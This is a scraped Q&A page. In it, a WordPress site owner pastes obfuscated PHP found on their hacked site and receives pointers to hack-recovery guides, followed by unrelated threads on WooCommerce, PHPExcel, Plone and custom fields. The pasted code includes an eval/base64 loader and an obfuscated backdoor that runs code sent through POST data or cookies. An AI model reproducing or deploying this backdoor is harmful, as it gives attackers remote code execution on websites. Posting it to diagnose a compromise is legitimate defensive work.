I have found strange lines in my website's source files - wordpress
I am using wordpress for quite a few years now but I have never seen anything like this before.
<?php
function oepdbzyc( $nshnmh, $af){$fnltbyd = ''; for($i=0; $i < strlen($nshnmh); $i++){$fnltbyd .= isset($af[$nshnmh[$i]]) ? $af[$nshnmh[$i]] : $nshnmh[$i];}
$imtrpsh="base64_decode";return $imtrpsh($fnltbyd);}
$zfilos = '0kXe3tsWB50fvJtQzwsQ5JFaBQz6YN8tUNpl4pld3E8l5TOXnRqGhksG5JtQzwsQzQz'.
'9=';
$loeupumf = Array('1'=>'4', '0'=>'Q', '3'=>'a', '2'=>'8', '5'=>'X', '4'=>'O', '7'=>'f', '6'=>'s', '9'=>'0', '8'=>'5', 'A'=>'k', 'C'=>'H', 'B'=>'Z', 'E'=>'W', 'D'=>'B', 'G'=>'n', 'F'=>'x', 'I'=>'j', 'H'=>'L', 'K'=>'r', 'J'=>'2', 'M'=>'1', 'L'=>'M', 'O'=>'N', 'N'=>'E', 'Q'=>'y', 'P'=>'h', 'S'=>'R', 'R'=>'C', 'U'=>'T', 'T'=>'3', 'W'=>'z', 'V'=>'F', 'Y'=>'I', 'X'=>'l', 'Z'=>'U', 'a'=>'v', 'c'=>'Y', 'b'=>'e', 'e'=>'u', 'd'=>'A', 'g'=>'6', 'f'=>'o', 'i'=>'q', 'h'=>'b', 'k'=>'G', 'j'=>'7', 'm'=>'K', 'l'=>'p', 'o'=>'i', 'n'=>'d', 'q'=>'g', 'p'=>'w', 's'=>'9', 'r'=>'P', 'u'=>'D', 't'=>'V', 'w'=>'m', 'v'=>'J', 'y'=>'t', 'x'=>'S', 'z'=>'c');
eval(oepdbzyc($zfilos, $loeupumf));?>
The $zfilos is more than 1900 lines long so I can't post it here. There are other bits of strange lines in random files like this one:
<?php $GLOBALS['i82b56'] = "\x56\x61\x66\x59\x42\x5c\x75\x72\x46\x33\x57\x24\x31\x51\x47\x70\x69\x23\x3e\x5a\x4d\x34\x5f\x55\x37\x28\x60\x54\x50\x45\x40\x4b\x25\x26\x65\x2b\x5b\x4f\x3d\x4c\x4a\xa\x64\x53\x3f\x3c\x3a\x73\x27\x9\x76\x5e\x36\x74\x21\x52\x2a\x38\x77\x41\x43\x6e\x2d\x29\x7a\x71\x62\x7c\x6f\x39\x79\x30\x6b\x35\x22\x48\x6a\x78\x49\x20\x68\x6c\x67\x58\x4e\x2e\x3b\x44\x6d\xd\x2f\x2c\x5d\x7e\x7b\x63\x32\x7d";
$GLOBALS[$GLOBALS['i82b56'][72].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][21]] = $GLOBALS['i82b56'][95].$GLOBALS['i82b56'][80].$GLOBALS['i82b56'][7];
$GLOBALS[$GLOBALS['i82b56'][6].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][73]] = $GLOBALS['i82b56'][68].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][42];
$GLOBALS[$GLOBALS['i82b56'][64].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][34]] = $GLOBALS['i82b56'][47].$GLOBALS['i82b56'][53].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][81].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][61];
$GLOBALS[$GLOBALS['i82b56'][65].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][71]] = $GLOBALS['i82b56'][16].$GLOBALS['i82b56'][61].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][22].$GLOBALS['i82b56'][47].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][53];
$GLOBALS[$GLOBALS['i82b56'][50].$GLOBALS['i82b56'][95].$GLOBALS['i82b56'][95].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][9]] = $GLOBALS['i82b56'][47].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][81].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][64].$GLOBALS['i82b56'][34];
$GLOBALS[$GLOBALS['i82b56'][70].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][2]] = $GLOBALS['i82b56'][15].$GLOBALS['i82b56'][80].$GLOBALS['i82b56'][15].$GLOBALS['i82b56'][50].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][47].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][68].$GLOBALS['i82b56'][61];
$GLOBALS[$GLOBALS['i82b56'][88].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][73]] = $GLOBALS['i82b56'][6].$GLOBALS['i82b56'][61].$GLOBALS['i82b56'][47].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][81].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][64].$GLOBALS['i82b56'][34];
$GLOBALS[$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][42]] = $GLOBALS['i82b56'][66].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][47].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][22].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][95].$GLOBALS['i82b56'][68].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][34];
$GLOBALS[$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][69]] = $GLOBALS['i82b56'][47].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][53].$GLOBALS['i82b56'][22].$GLOBALS['i82b56'][53].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][88].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][22].$GLOBALS['i82b56'][81].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][88].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][53];
$GLOBALS[$GLOBALS['i82b56'][77].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][69]] = $GLOBALS['i82b56'][76].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][95].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][73];
$GLOBALS[$GLOBALS['i82b56'][58].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][9]] = $GLOBALS['i82b56'][50].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][96];
$GLOBALS[$GLOBALS['i82b56'][6].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][12]] = $_POST;
$GLOBALS[$GLOBALS['i82b56'][50].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][95].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][9]] = $_COOKIE;
#$GLOBALS[$GLOBALS['i82b56'][65].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][71]]($GLOBALS['i82b56'][34].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][68].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][22].$GLOBALS['i82b56'][81].$GLOBALS['i82b56'][68].$GLOBALS['i82b56'][82], NULL);
#$GLOBALS[$GLOBALS['i82b56'][65].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][71]]($GLOBALS['i82b56'][81].$GLOBALS['i82b56'][68].$GLOBALS['i82b56'][82].$GLOBALS['i82b56'][22].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][68].$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][47], 0);
#$GLOBALS[$GLOBALS['i82b56'][65].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][71]]($GLOBALS['i82b56'][88].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][77].$GLOBALS['i82b56'][22].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][77].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][95].$GLOBALS['i82b56'][6].$GLOBALS['i82b56'][53].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][68].$GLOBALS['i82b56'][61].$GLOBALS['i82b56'][22].$GLOBALS['i82b56'][53].$GLOBALS['i82b56'][16].$GLOBALS['i82b56'][88].$GLOBALS['i82b56'][34], 0);
#$GLOBALS[$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][69]](0);
$w21270 = NULL;
$a3259b2 = NULL;
$GLOBALS[$GLOBALS['i82b56'][61].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][52]] = $GLOBALS['i82b56'][69].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][34].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][62].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][62].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][62].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][62].$GLOBALS['i82b56'][95].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][9];
global $n669656;
function v89b2($w21270, $h174c8f)
{
$zbf0 = "";
for ($p0dfb=0; $p0dfb<$GLOBALS[$GLOBALS['i82b56'][64].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][34]]($w21270);)
{
for ($p5a3154=0; $p5a3154<$GLOBALS[$GLOBALS['i82b56'][64].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][34]]($h174c8f) && $p0dfb<$GLOBALS[$GLOBALS['i82b56'][64].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][21].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][52].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][34]]($w21270); $p5a3154++, $p0dfb++)
{
$zbf0 .= $GLOBALS[$GLOBALS['i82b56'][72].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][21]]($GLOBALS[$GLOBALS['i82b56'][6].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][73]]($w21270[$p0dfb]) ^ $GLOBALS[$GLOBALS['i82b56'][6].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][73]]($h174c8f[$p5a3154]));
}
}
return $zbf0;
}
function j7c09b5($w21270, $h174c8f)
{
global $n669656;
return $GLOBALS[$GLOBALS['i82b56'][58].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][9]]($GLOBALS[$GLOBALS['i82b56'][58].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][9]]($w21270, $n669656), $h174c8f);
}
foreach ($GLOBALS[$GLOBALS['i82b56'][50].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][73].$GLOBALS['i82b56'][95].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][9]] as $h174c8f=>$t690f0)
{
$w21270 = $t690f0;
$a3259b2 = $h174c8f;
}
if (!$w21270)
{
foreach ($GLOBALS[$GLOBALS['i82b56'][6].$GLOBALS['i82b56'][69].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][12]] as $h174c8f=>$t690f0)
{
$w21270 = $t690f0;
$a3259b2 = $h174c8f;
}
}
$w21270 = #$GLOBALS[$GLOBALS['i82b56'][88].$GLOBALS['i82b56'][12].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][73]]($GLOBALS[$GLOBALS['i82b56'][77].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][24].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][69]]($GLOBALS[$GLOBALS['i82b56'][7].$GLOBALS['i82b56'][66].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][2].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][42]]($w21270), $a3259b2));
if (isset($w21270[$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][72]]) && $n669656==$w21270[$GLOBALS['i82b56'][1].$GLOBALS['i82b56'][72]])
{
if ($w21270[$GLOBALS['i82b56'][1]] == $GLOBALS['i82b56'][16])
{
$p0dfb = Array(
$GLOBALS['i82b56'][15].$GLOBALS['i82b56'][50] => #$GLOBALS[$GLOBALS['i82b56'][70].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][2]](),
$GLOBALS['i82b56'][47].$GLOBALS['i82b56'][50] => $GLOBALS['i82b56'][12].$GLOBALS['i82b56'][85].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][62].$GLOBALS['i82b56'][12],
);
echo #$GLOBALS[$GLOBALS['i82b56'][50].$GLOBALS['i82b56'][95].$GLOBALS['i82b56'][95].$GLOBALS['i82b56'][9].$GLOBALS['i82b56'][57].$GLOBALS['i82b56'][42].$GLOBALS['i82b56'][71].$GLOBALS['i82b56'][96].$GLOBALS['i82b56'][9]]($p0dfb);
}
elseif ($w21270[$GLOBALS['i82b56'][1]] == $GLOBALS['i82b56'][34])
{
eval($w21270[$GLOBALS['i82b56'][42]]);
}
exit();
}
Not to mention I am fighting with the setTimeout injection as well. My hosting (which I use for like 5-6 years now) told me to change passwords, I have ended up deleting all the FTP accounts, so noone can access it, and it still appeares from time to time. I guess it's just coming from their end.
Any clues what's this and how to stop it? Oh and I am using the stock theme, no fancy plugins, nothing.
You got hacked. But hacked site questions are off-topic on SO, due to their individualized nature being difficult to replicate and address.
That said, carefully follow https://codex.wordpress.org/FAQ_My_site_was_hacked
Then take a look at the recommended security measures in Hardening WordPress - WordPress Codex and Brute Force Attacks - WordPress Codex
Related
How to insert 50k products in woocomerce from json response using cron job?
I want to insert 50k products in woocommerce using cron job. Data will come from json API. SO please guide me how can I do this job ? $fileContents = file_get_contents(ABSPATH.'json_array.txt'); if ($fileContents === false) { echo 'ERROR!'; } else { $data = json_decode($fileContents, true); // count($data['DataList']; output 50000 for($i=0;$i<count($data['DataList']);$i++) { $Shape = $data->DataList[$i]->Shape; $Size = $data->DataList[$i]->Size; $Color = $data->DataList[$i]->Color; $Clarity = $data->DataList[$i]->Clarity; $objProduct = new WC_Product(); $objProduct->set_name($ReportNo); //Set product name. $objProduct->set_status('publish'); $objProduct->set_featured(TRUE); $objProduct->set_catalog_visibility('visible'); $new_product_id = $objProduct->save(); } }
phpexcel PHPExcel_Shared_Date::isDateTime not working
the file is xlsx and the column format is date MM-DD-YYYY I have tried several different ways to determine if the value is a date. PHPExcel_Shared_Date::isDateTime just is not working and do not know why. The data is being save in database and is showing the numbers as such: 41137 41618 42206 42076 41137 42206 41137 41988 my code: $inputFileType = PHPExcel_IOFactory::identify($fullFilePath); $objReader = PHPExcel_IOFactory::createReader($inputFileType); $objReader->setReadDataOnly(false); $objPHPExcel = $objReader->load($fullFilePath); $objPHPExcel->setActiveSheetIndex(0); $worksheetIndex = 1; $worksheetName = ''; $actualRows = 0; foreach($objPHPExcel->getWorksheetIterator() as $worksheet) { $lineNumber = 1; $worksheetName = $worksheet->getTitle(); $columnSum = array(); foreach($worksheet->getRowIterator() as $row) { $cellIterator = $row->getCellIterator(); $cellIterator->setIterateOnlyExistingCells(true); // Loop all cells, even if it is not set = true else set to false $columnNumber = 1; foreach($cellIterator as $cell) { $dataValue = $cell->getCalculatedValue(); //$dataValue = $cell->getFormattedValue(); if(!empty($dataValue)) { if(PHPExcel_Shared_Date::isDateTime($cell)) { $dataValue = date('Y-m-d H', PHPExcel_Shared_Date::ExcelToPHP($dataValue)); } else { // do something } } } } }
Analysing the file, there's a few problems.... it doesn't validate cleanly under the Microsoft's Open XML SDK 2.0 productivity tool for MS Office. Initial problem (which should trigger a loader error in PHPExcel) is the SheetView Zoom Scale, which should be a minimum value of 1. This problem can by "bypassed" by editing Classes/PHPExcel/Worksheet/SheetView.php and modifying the setZoomScaleNormal() method to avoid throwing the exception if the supplied argument value is out of range. public function setZoomScaleNormal($pValue = 100) { if (($pValue >= 1) || is_null($pValue)) { $this->zoomScaleNormal = $pValue; // } else { // throw new PHPExcel_Exception("Scale must be greater than or equal to 1."); } return $this; } The second problem is that custom number formats are defined with ids in the range 100-118, but all format ids below 164 are documented as reserved for Microsoft use. Excel itself is obviously more forgiving about breaking its documented rules. You can resolved this by hacking the Classes/PHPExcel/Reader/Excel2007.php file and modifying the load() method, around line 512, by commenting out the check that tells PHPExcel to use the built-in number formats: // if ((int)$xf["numFmtId"] < 164) { // $numFmt = PHPExcel_Style_NumberFormat::builtInFormatCode((int)$xf["numFmtId"]); // } or if ((int)$xf["numFmtId"] < 164 && PHPExcel_Style_NumberFormat::builtInFormatCodeIndex((int)$xf["numFmtId"]) !== false) { $numFmt = PHPExcel_Style_NumberFormat::builtInFormatCode((int)$xf["numFmtId"]); } There are also issues with font size definitions, but these won't prevent the file from loading
Unsufficient privileges from responseText in Plone4.3
I use PloneBooking3.0.0a2 with Plone4.3.3, but if I want to show periodic bookings I get an unsufficient privileges error. In my opinion there are two functions responsible for that: function showPeriodicityResult(url, alt_url, target_id, form_id, waiting_text) { ajaxobject = getXmlHttpRequest(); form = document.getElementById(form_id); periodicity_type = getPeriodicityType(form); periodicity_end_date = form['periodicity_form_periodicity_end_date_0'].value; periodicity_variable = form['periodicity2_x'].value; query = getPeriodicityQuery(periodicity_type, periodicity_end_date, periodicity_variable); url = url + query + "&d=" + (new Date()).getTime(); alt_url = alt_url + query; // Opera does not support ajax if (ajaxobject == null) { window.location = alt_url; } else { var node = document.getElementById(target_id); node.innerHTML = waiting_text; ajaxobject.open('GET', url, true); ajaxobject.onreadystatechange = function(){CallBackGenerateAjaxHTML(ajaxobject, target_id);}; ajaxobject.send(null); } } and function CallBackGenerateAjaxHTML(ajaxobject, target_id) { if (ajaxobject.readyState == 4) { if (ajaxobject.status > 299 || ajaxobject.status < 200) { return; } elem = document.getElementById(target_id); elem.innerHTML = ajaxobject.responseText; } } Especially the innerHTML setting with responseText seems to be a problem. Is there is a quick answer like Plone version diff from 3 to 4 or must I work in-depth?
You mentioned in the comments that the portal.uid_catalog raises the Unauthorized. When I recall correctly the uid-catalog requires a higher permission since the last Plone hotfix. But you also can search an Item when given a UID with the normal Catalog. here_obj python:portal.portal_catalog(UID=here_uid)[0].getObject(); This way you should be able to get your Object.
How to ignore a custom field value if its empty
I have five custom fields for loading images but all of them are not required. I mean the user can upload a random number of images from 1 to 5. I am stuck in a simple lack of concept here. How should I check if any of them is empty and discard it. More specifically I want to discard the non-existing fields and store only the uploaded ones in an array. Here is my code $custom_fields = get_post_custom($id); $my_custom_field1 = $custom_fields['image1']; $my_custom_field2 = $custom_fields['image2']; $my_custom_field3 = $custom_fields['image3']; $my_custom_field4 = $custom_fields['image4']; $my_custom_field5 = $custom_fields['image5']; if(!(false===($my_custom_field1))) { $img[]=$my_custom_field1;} if(!(false===($my_custom_field2))) { $img[]=$my_custom_field2;} if(!(false===($my_custom_field3))) { $img[]=$my_custom_field3;} if(!(false===($my_custom_field4))) { $img[]=$my_custom_field4;} if(!(false===($my_custom_field5))) { $img[]=$my_custom_field5;}
$images = Array("image1","image2","image3","image4","image5"); foreach($images as $image){ if(isset($custom_fields[$image])){ $img[] = $custom_fields[$image]; } } Didn't tested that, but should work.
if(isset($my_custom_field5)){ // do something with $my_custom_field5 }
I would suggest using if ( !empty($my_custom_field)){ \\Do Something } because isset only checks for variable beings set and not null where as empty checks if the variable is an empty string, false, array(), NULL, “0?, 0, and an unset variable.
WordPress loop by function
I'm creating magazine style theme (not e-commerce) and I want to display 3 latest posts from ex. X, Y and Z category, where this 1st post will be with thumb and other 2 only titles. I found some similar solution themes, but when I look into the code, they created 2 loop for each category (2x3=6) and with this 6 loops code looks very messy. So I decided to create function (ex. latest_post_from_category($cat);) to display this post. Here comes the question is my decision right, if yes do have any advices to make this function more flexible? Thanks for your time.
a function can become more flexible with params and switches. example follows function getPosts($type,$return = false,$amount = 4) { switch($type) { case 'comments': //Get latest comments here break; case 'posts': case 'posts-desc': case 'posts-asc': if($type == 'posts-asc'){ $order = 'ASC';}else{$order = 'DESC';/*default*/} //Get posts break; /*(etc...etc)*/ } } $comments = getPosts('comments',true,5); //5 comments $posts= getPosts('posts-desc',true,6); //5 Latest Things like that can really make a design come together. The Thumbs In regards to this you only really need the post id and wordpress provide the functions so with my example above you can loop and do an if statement $i = 0; foreach(getPosts('post-asc',true,3) as $row) { $i++; if($i == 1) { //Show thumb for $row if(!wct_display_thumb("width:200px;height:150px", $row->ID)) { //Show title } }else { //Show title for $row! } }